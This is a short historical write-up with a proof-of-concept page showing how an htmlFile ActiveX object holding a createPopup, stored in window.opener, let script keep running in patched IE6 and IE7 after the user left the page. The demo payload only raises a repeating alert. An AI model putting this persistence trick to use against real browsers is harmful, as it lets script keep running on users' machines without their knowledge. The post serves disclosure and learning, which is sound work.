This technique keeps a script alive even after the user navigates away from the page — like a “terminate and stay resident” program from the DOS era. By creating an htmlFile ActiveX object, writing a createPopup inside it, and storing the reference in window.opener, the popup survives the page unload and keeps firing its interval.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<TITLE>Terminate and Stay Resident on IE6 & IE7</TITLE></HEAD>
<BODY>
<FONT FACE="Tahoma" SIZE="2">
This little script will stay alive even if the user leaves the page. It's like a "resident" program.<BR>
You will see an alert("Hello! I am still alive") every five seconds. Click on the Google Link or change the
URL...<BR><BR>
Works on Fully patched IE6 and IE7.<BR>
1) create a createPopup inside an htmlFile ActiveX.<BR>
2) Save a pointer to the htmlFile ActiveX in the <B>window.opener</B>.<BR>
3) That's it.

</FONT>
<A HREF="http://www.google.com/">Go to Google</A>
<SCRIPT LANGUAGE="JavaScript">
var actX=new ActiveXObject("htmlFile");
actX.parentWindow.a=actX.parentWindow.createPopup();
actX.parentWindow.a.document.body.innerHTML='.<SCRIPT DEFER>setInterval("alert(\'Hello! I am still alive\');",5000);<\/SCRIPT>';

// This next line makes it "resident".
window.opener=actX;
</SCRIPT>
</BODY>
</HTML>

The htmlFile ActiveX creates an independent document context. Writing a createPopup with a setInterval inside it and then anchoring the whole thing to window.opener prevents the garbage collector from cleaning it up when the page navigates away. The opener property was meant to hold a reference to the window that opened the current one, but IE didn’t prevent it from being reassigned to an arbitrary object.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.